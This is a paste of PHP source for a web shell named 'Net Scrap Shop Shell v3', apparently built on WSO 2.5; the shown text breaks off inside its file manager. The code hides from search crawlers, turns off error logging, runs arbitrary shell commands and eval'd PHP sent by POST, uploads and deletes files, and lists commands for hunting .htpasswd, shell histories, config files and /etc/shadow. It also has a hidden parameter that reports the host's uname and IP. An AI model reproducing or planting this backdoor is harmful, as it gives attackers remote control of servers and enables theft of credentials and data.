· 8 years ago · Apr 04, 2018, 01:18 PM
1
2/*
3Net Scrap Shop Shell v3
4coded by lynx
5*/
6//remoteX
7if(isset($_POST['lynx'])){
8$ziwziw=$_POST['lynx'];
9if($ziwziw=='adding'){echo php_uname();echo'sarafinoubombom';}
10else if($ziwziw=='ip'){
11$ip= file_get_contents("http://ipecho.net/plain");
12if (filter_var($ip, FILTER_VALIDATE_IP)) {
13 echo $ip;echo'sarafinoubombom';
14} else {
15 $host= gethostname();
16$ip = gethostbyname($host);
17echo $ip;echo'sarafinoubombom';
18}
19
20}
21
22
23}
24else{
25
26$color = "#df5";
27$default_action = 'FilesMan';
28$default_use_ajax = true;
29$default_charset = 'Windows-1251';
30
31if($argc == 3) {
32 $_POST = unserialize(base64_decode($argv[1]));
33 $_SERVER = unserialize(base64_decode($argv[2]));
34}
35
36if(!empty($_SERVER['HTTP_USER_AGENT'])) {
37 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
38 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
39 header('HTTP/1.0 404 Not Found');
40 exit;
41 }
42}
43
44@ini_set('error_log',NULL);
45@ini_set('log_errors',0);
46@ini_set('max_execution_time',0);
47@set_time_limit(0);
48@set_magic_quotes_runtime(0);
49@define('WSO_VERSION', '2.5');
50
51if(get_magic_quotes_gpc()) {
52 function WSOstripslashes($array) {
53 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
54 }
55 $_POST = WSOstripslashes($_POST);
56 $_COOKIE = WSOstripslashes($_COOKIE);
57}
58
59function wsoLogin() {
60 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
61}
62
63function WSOsetcookie($k, $v) {
64 $_COOKIE[$k] = $v;
65 setcookie($k, $v);
66}
67
68if(!empty($auth_pass)) {
69 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
70 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
71
72 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
73 wsoLogin();
74}
75
76if(strtolower(substr(PHP_OS,0,3)) == "win")
77 $os = 'win';
78else
79 $os = 'nix';
80
81$safe_mode = @ini_get('safe_mode');
82if(!$safe_mode)
83 error_reporting(0);
84
85$disable_functions = @ini_get('disable_functions');
86$home_cwd = @getcwd();
87if(isset($_POST['c']))
88 @chdir($_POST['c']);
89$cwd = @getcwd();
90if($os == 'win') {
91 $home_cwd = str_replace("\\", "/", $home_cwd);
92 $cwd = str_replace("\\", "/", $cwd);
93}
94if($cwd[strlen($cwd)-1] != '/')
95 $cwd .= '/';
96
97if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
98 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
99
100if($os == 'win')
101 $aliases = array(
102 "List Directory" => "dir",
103 "Find index.php in current dir" => "dir /s /w /b index.php",
104 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
105 "Show active connections" => "netstat -an",
106 "Show running services" => "net start",
107 "User accounts" => "net user",
108 "Show computers" => "net view",
109 "ARP Table" => "arp -a",
110 "IP Configuration" => "ipconfig /all"
111 );
112else
113 $aliases = array(
114 "List dir" => "ls -lha",
115 "list file attributes on a Linux second extended file system" => "lsattr -va",
116 "show opened ports" => "netstat -an | grep -i listen",
117 "process status" => "ps aux",
118 "Find" => "",
119 "find all suid files" => "find / -type f -perm -04000 -ls",
120 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
121 "find all sgid files" => "find / -type f -perm -02000 -ls",
122 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
123 "find config.inc.php files" => "find / -type f -name config.inc.php",
124 "find config* files" => "find / -type f -name \"config*\"",
125 "find config* files in current dir" => "find . -type f -name \"config*\"",
126 "find all writable folders and files" => "find / -perm -2 -ls",
127 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
128 "find all service.pwd files" => "find / -type f -name service.pwd",
129 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
130 "find all .htpasswd files" => "find / -type f -name .htpasswd",
131 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
132 "find all .bash_history files" => "find / -type f -name .bash_history",
133 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
134 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
135 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
136 "Locate" => "",
137 "locate httpd.conf files" => "locate httpd.conf",
138 "locate vhosts.conf files" => "locate vhosts.conf",
139 "locate proftpd.conf files" => "locate proftpd.conf",
140 "locate psybnc.conf files" => "locate psybnc.conf",
141 "locate my.conf files" => "locate my.conf",
142 "locate admin.php files" =>"locate admin.php",
143 "locate cfg.php files" => "locate cfg.php",
144 "locate conf.php files" => "locate conf.php",
145 "locate config.dat files" => "locate config.dat",
146 "locate config.php files" => "locate config.php",
147 "locate config.inc files" => "locate config.inc",
148 "locate config.inc.php" => "locate config.inc.php",
149 "locate config.default.php files" => "locate config.default.php",
150 "locate config* files " => "locate config",
151 "locate .conf files"=>"locate '.conf'",
152 "locate .pwd files" => "locate '.pwd'",
153 "locate .sql files" => "locate '.sql'",
154 "locate .htpasswd files" => "locate '.htpasswd'",
155 "locate .bash_history files" => "locate '.bash_history'",
156 "locate .mysql_history files" => "locate '.mysql_history'",
157 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
158 "locate backup files" => "locate backup",
159 "locate dump files" => "locate dump",
160 "locate priv files" => "locate priv"
161 );
162
163function wsoHeader() {
164 if(empty($_POST['charset']))
165 $_POST['charset'] = $GLOBALS['default_charset'];
166 global $color;
167 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
168<style>
169body{background-color:#444;color:#e1e1e1;}
170body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
171table.info{ color:#fff;background-color:#222; }
172span,h1,a{ color: $color !important; }
173span{ font-weight: bolder; }
174h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
175div.content{ padding: 5px;margin-left:5px;background-color:#333; }
176a{ text-decoration:none; }
177a:hover{ text-decoration:underline; }
178.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
179.bigarea{ width:100%;height:300px; }
180input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
181form{ margin:0px; }
182#toolsTbl{ text-align:center; }
183.toolsInp{ width: 300px }
184.main th{text-align:left;background-color:#5e5e5e;}
185.main tr:hover{background-color:#5e5e5e}
186.l1{background-color:#444}
187.l2{background-color:#333}
188pre{font-family:Courier,Monospace;}
189</style>
190<script>
191 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
192 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
193 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
194 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
195 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
196 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
197 var d = document;
198 function set(a,c,p1,p2,p3,charset) {
199 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
200 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
201 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
202 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
203 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
204 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
205 }
206 function g(a,c,p1,p2,p3,charset) {
207 set(a,c,p1,p2,p3,charset);
208 d.mf.submit();
209 }
210 function a(a,c,p1,p2,p3,charset) {
211 set(a,c,p1,p2,p3,charset);
212 var params = 'ajax=true';
213 for(i=0;i<d.mf.elements.length;i++)
214 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
215 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
216 }
217 function sr(url, params) {
218 if (window.XMLHttpRequest)
219 req = new XMLHttpRequest();
220 else if (window.ActiveXObject)
221 req = new ActiveXObject('Microsoft.XMLHTTP');
222 if (req) {
223 req.onreadystatechange = processReqChange;
224 req.open('POST', url, true);
225 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
226 req.send(params);
227 }
228 }
229 function processReqChange() {
230 if( (req.readyState == 4) )
231 if(req.status == 200) {
232 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
233 var arr=reg.exec(req.responseText);
234 eval(arr[2].substr(0, arr[1]));
235 } else alert('Request error!');
236 }
237</script>
238<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
239<form method=post name=mf style='display:none;'>
240<input type=hidden name=a>
241<input type=hidden name=c>
242<input type=hidden name=p1>
243<input type=hidden name=p2>
244<input type=hidden name=p3>
245<input type=hidden name=charset>
246</form>";
247 $freeSpace = @diskfreespace($GLOBALS['cwd']);
248 $totalSpace = @disk_total_space($GLOBALS['cwd']);
249 $totalSpace = $totalSpace?$totalSpace:1;
250 $release = @php_uname('r');
251 $kernel = @php_uname('s');
252 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
253 if(strpos('Linux', $kernel) !== false)
254 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
255 else
256 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
257 if(!function_exists('posix_getegid')) {
258 $user = @get_current_user();
259 $uid = @getmyuid();
260 $gid = @getmygid();
261 $group = "?";
262 } else {
263 $uid = @posix_getpwuid(posix_geteuid());
264 $gid = @posix_getgrgid(posix_getegid());
265 $user = $uid['name'];
266 $uid = $uid['uid'];
267 $group = $gid['name'];
268 $gid = $gid['gid'];
269 }
270
271 $cwd_links = '';
272 $path = explode("/", $GLOBALS['cwd']);
273 $n=count($path);
274 for($i=0; $i<$n-1; $i++) {
275 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
276 for($j=0; $j<=$i; $j++)
277 $cwd_links .= $path[$j].'/';
278 $cwd_links .= "\")'>".$path[$i]."/</a>";
279 }
280
281 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
282 $opt_charsets = '';
283 foreach($charsets as $item)
284 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
285
286 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
287 if(!empty($GLOBALS['auth_pass']))
288 $m['Logout'] = 'Logout';
289 $m['Self remove'] = 'SelfRemove';
290 $menu = '';
291 foreach($m as $k => $v)
292 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
293
294 $drives = "";
295 if($GLOBALS['os'] == 'win') {
296 foreach(range('c','z') as $drive)
297 if(is_dir($drive.':\\'))
298 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
299 }
300 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
301 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
302 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
303 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
304 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
305}
306
307function wsoFooter() {
308 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
309 echo "
310</div>
311<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
312 <tr>
313 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
314 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
315 </tr><tr>
316 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
317 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
318 </tr><tr>
319 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
320 <td><form method='post' ENCTYPE='multipart/form-data'>
321 <input type=hidden name=a value='FilesMAn'>
322 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
323 <input type=hidden name=p1 value='uploadFile'>
324 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
325 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
326 </tr></table></div></body></html>";
327}
328
329if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
330 function posix_getpwuid($p) {return false;} }
331if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
332 function posix_getgrgid($p) {return false;} }
333
334function wsoEx($in) {
335 $out = '';
336 if (function_exists('exec')) {
337 @exec($in,$out);
338 $out = @join("\n",$out);
339 } elseif (function_exists('passthru')) {
340 ob_start();
341 @passthru($in);
342 $out = ob_get_clean();
343 } elseif (function_exists('system')) {
344 ob_start();
345 @system($in);
346 $out = ob_get_clean();
347 } elseif (function_exists('shell_exec')) {
348 $out = shell_exec($in);
349 } elseif (is_resource($f = @popen($in,"r"))) {
350 $out = "";
351 while(!@feof($f))
352 $out .= fread($f,1024);
353 pclose($f);
354 }
355 return $out;
356}
357
358function wsoViewSize($s) {
359 if($s >= 1073741824)
360 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
361 elseif($s >= 1048576)
362 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
363 elseif($s >= 1024)
364 return sprintf('%1.2f', $s / 1024 ) . ' KB';
365 else
366 return $s . ' B';
367}
368
369function wsoPerms($p) {
370 if (($p & 0xC000) == 0xC000)$i = 's';
371 elseif (($p & 0xA000) == 0xA000)$i = 'l';
372 elseif (($p & 0x8000) == 0x8000)$i = '-';
373 elseif (($p & 0x6000) == 0x6000)$i = 'b';
374 elseif (($p & 0x4000) == 0x4000)$i = 'd';
375 elseif (($p & 0x2000) == 0x2000)$i = 'c';
376 elseif (($p & 0x1000) == 0x1000)$i = 'p';
377 else $i = 'u';
378 $i .= (($p & 0x0100) ? 'r' : '-');
379 $i .= (($p & 0x0080) ? 'w' : '-');
380 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
381 $i .= (($p & 0x0020) ? 'r' : '-');
382 $i .= (($p & 0x0010) ? 'w' : '-');
383 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
384 $i .= (($p & 0x0004) ? 'r' : '-');
385 $i .= (($p & 0x0002) ? 'w' : '-');
386 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
387 return $i;
388}
389
390function wsoPermsColor($f) {
391 if (!@is_readable($f))
392 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
393 elseif (!@is_writable($f))
394 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
395 else
396 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
397}
398
399function wsoScandir($dir) {
400 if(function_exists("scandir")) {
401 return scandir($dir);
402 } else {
403 $dh = opendir($dir);
404 while (false !== ($filename = readdir($dh)))
405 $files[] = $filename;
406 return $files;
407 }
408}
409
410function wsoWhich($p) {
411 $path = wsoEx('which ' . $p);
412 if(!empty($path))
413 return $path;
414 return false;
415}
416
417function actionSecInfo() {
418 wsoHeader();
419 echo '<h1>Server security information</h1><div class=content>';
420 function wsoSecParam($n, $v) {
421 $v = trim($v);
422 if($v) {
423 echo '<span>' . $n . ': </span>';
424 if(strpos($v, "\n") === false)
425 echo $v . '<br>';
426 else
427 echo '<pre class=ml1>' . $v . '</pre>';
428 }
429 }
430
431 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
432 if(function_exists('apache_get_modules'))
433 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
434 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
435 wsoSecParam('Open base dir', @ini_get('open_basedir'));
436 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
437 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
438 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
439 $temp=array();
440 if(function_exists('mysql_get_client_info'))
441 $temp[] = "MySql (".mysql_get_client_info().")";
442 if(function_exists('mssql_connect'))
443 $temp[] = "MSSQL";
444 if(function_exists('pg_connect'))
445 $temp[] = "PostgreSQL";
446 if(function_exists('oci_connect'))
447 $temp[] = "Oracle";
448 wsoSecParam('Supported databases', implode(', ', $temp));
449 echo '<br>';
450
451 if($GLOBALS['os'] == 'nix') {
452 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
453 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
454 wsoSecParam('OS version', @file_get_contents('/proc/version'));
455 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
456 if(!$GLOBALS['safe_mode']) {
457 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
458 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
459 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
460 echo '<br>';
461 $temp=array();
462 foreach ($userful as $item)
463 if(wsoWhich($item))
464 $temp[] = $item;
465 wsoSecParam('Userful', implode(', ',$temp));
466 $temp=array();
467 foreach ($danger as $item)
468 if(wsoWhich($item))
469 $temp[] = $item;
470 wsoSecParam('Danger', implode(', ',$temp));
471 $temp=array();
472 foreach ($downloaders as $item)
473 if(wsoWhich($item))
474 $temp[] = $item;
475 wsoSecParam('Downloaders', implode(', ',$temp));
476 echo '<br/>';
477 wsoSecParam('HDD space', wsoEx('df -h'));
478 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
479 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
480 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
481 $temp = "";
482 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
483 $uid = @posix_getpwuid($_POST['p2']);
484 if ($uid)
485 $temp .= join(':',$uid)."\n";
486 }
487 echo '<br/>';
488 wsoSecParam('Users', $temp);
489 }
490 }
491 } else {
492 wsoSecParam('OS Version',wsoEx('ver'));
493 wsoSecParam('Account Settings',wsoEx('net accounts'));
494 wsoSecParam('User Accounts',wsoEx('net user'));
495 }
496 echo '</div>';
497 wsoFooter();
498}
499
500function actionPhp() {
501 if(isset($_POST['ajax'])) {
502 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
503 ob_start();
504 eval($_POST['p1']);
505 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
506 echo strlen($temp), "\n", $temp;
507 exit;
508 }
509 if(empty($_POST['ajax']) && !empty($_POST['p1']))
510 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
511
512 wsoHeader();
513 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
514 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
515 ob_start();
516 phpinfo();
517 $tmp = ob_get_clean();
518 $tmp = preg_replace(array (
519 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
520 '!td, th {(.*)}!msiU',
521 '!<img[^>]+>!msiU',
522 ), array (
523 '',
524 '.e, .v, .h, .h th {$1}',
525 ''
526 ), $tmp);
527 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
528 }
529 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
530 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
531 if(!empty($_POST['p1'])) {
532 ob_start();
533 eval($_POST['p1']);
534 echo htmlspecialchars(ob_get_clean());
535 }
536 echo '</pre></div>';
537 wsoFooter();
538}
539
540function actionFilesMan() {
541 if (!empty ($_COOKIE['f']))
542 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
543
544 if(!empty($_POST['p1'])) {
545 switch($_POST['p1']) {
546 case 'uploadFile':
547 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
548 echo "Can't upload file!";
549 break;
550 case 'mkdir':
551 if(!@mkdir($_POST['p2']))
552 echo "Can't create new dir";
553 break;
554 case 'delete':
555 function deleteDir($path) {
556 $path = (substr($path,-1)=='/') ? $path:$path.'/';
557 $dh = opendir($path);
558 while ( ($item = readdir($dh) ) !== false) {
559 $item = $path.$item;
560 if ( (basename($item) == "..") || (basename($item) == ".") )
561 continue;
562 $type = filetype($item);
563 if ($type == "dir")
564 deleteDir($item);
565 else
566 @unlink($item);
567 }
568 closedir($dh);
569 @rmdir($path);
570 }
571 if(is_array(@$_POST['f']))
572 foreach($_POST['f'] as $f) {
573 if($f == '..')
574 continue;
575 $f = urldecode($f);
576 if(is_dir($f))
577 deleteDir($f);
578 else
579 @unlink($f);
580 }
581 break;
582 case 'paste':
583 if($_COOKIE['act'] == 'copy') {
584 function copy_paste($c,$s,$d){
585 if(is_dir($c.$s)){
586 mkdir($d.$s);
587 $h = @opendir($c.$s);
588 while (($f = @readdir($h)) !== false)
589 if (($f != ".") and ($f != ".."))
590 copy_paste($c.$s.'/',$f, $d.$s.'/');
591 } elseif(is_file($c.$s))
592 @copy($c.$s, $d.$s);
593 }
594 foreach($_COOKIE['f'] as $f)
595 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
596 } elseif($_COOKIE['act'] == 'move') {
597 function move_paste($c,$s,$d){
598 if(is_dir($c.$s)){
599 mkdir($d.$s);
600 $h = @opendir($c.$s);
601 while (($f = @readdir($h)) !== false)
602 if (($f != ".") and ($f != ".."))
603 copy_paste($c.$s.'/',$f, $d.$s.'/');
604 } elseif(@is_file($c.$s))
605 @copy($c.$s, $d.$s);
606 }
607 foreach($_COOKIE['f'] as $f)
608 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
609 } elseif($_COOKIE['act'] == 'zip') {
610 if(class_exists('ZipArchive')) {
611 $zip = new ZipArchive();
612 if ($zip->open($_POST['p2'], 1)) {
613 chdir($_COOKIE['c']);
614 foreach($_COOKIE['f'] as $f) {
615 if($f == '..')
616 continue;
617 if(@is_file($_COOKIE['c'].$f))
618 $zip->addFile($_COOKIE['c'].$f, $f);
619 elseif(@is_dir($_COOKIE['c'].$f)) {
620 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
621 foreach ($iterator as $key=>$value) {
622 $zip->addFile(realpath($key), $key);
623 }
624 }
625 }
626 chdir($GLOBALS['cwd']);
627 $zip->close();
628 }
629 }
630 } elseif($_COOKIE['act'] == 'unzip') {
631 if(class_exists('ZipArchive')) {
632 $zip = new ZipArchive();
633 foreach($_COOKIE['f'] as $f) {
634 if($zip->open($_COOKIE['c'].$f)) {
635 $zip->extractTo($GLOBALS['cwd']);
636 $zip->close();
637 }
638 }
639 }
640 } elseif($_COOKIE['act'] == 'tar') {
641 chdir($_COOKIE['c']);
642 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
643 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
644 chdir($GLOBALS['cwd']);
645 }
646 unset($_COOKIE['f']);
647 setcookie('f', '', time() - 3600);
648 break;
649 default:
650 if(!empty($_POST['p1'])) {
651 WSOsetcookie('act', $_POST['p1']);
652 WSOsetcookie('f', serialize(@$_POST['f']));
653 WSOsetcookie('c', @$_POST['c']);
654 }
655 break;
656 }
657 }
658 wsoHeader();
659 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
660 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
661 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
662 global $sort;
663 $sort = array('name', 1);
664 if(!empty($_POST['p1'])) {
665 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
666 $sort = array($match[1], (int)$match[2]);
667 }
668echo "<script>
669 function sa() {
670 for(i=0;i<d.files.elements.length;i++)
671 if(d.files.elements[i].type == 'checkbox')
672 d.files.elements[i].checked = d.files.elements[0].checked;
673 }
674</script>
675<table width='100%' class='main' cellspacing='0' cellpadding='2'>
676<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
677 $dirs = $files = array();
678 $n = count($dirContent);
679 for($i=0;$i<$n;$i++) {
680 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
681 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
682 $tmp = array('name' => $dirContent[$i],
683 'path' => $GLOBALS['cwd'].$dirContent[$i],
684 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
685 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
686 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
687 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
688 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
689 );
690 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
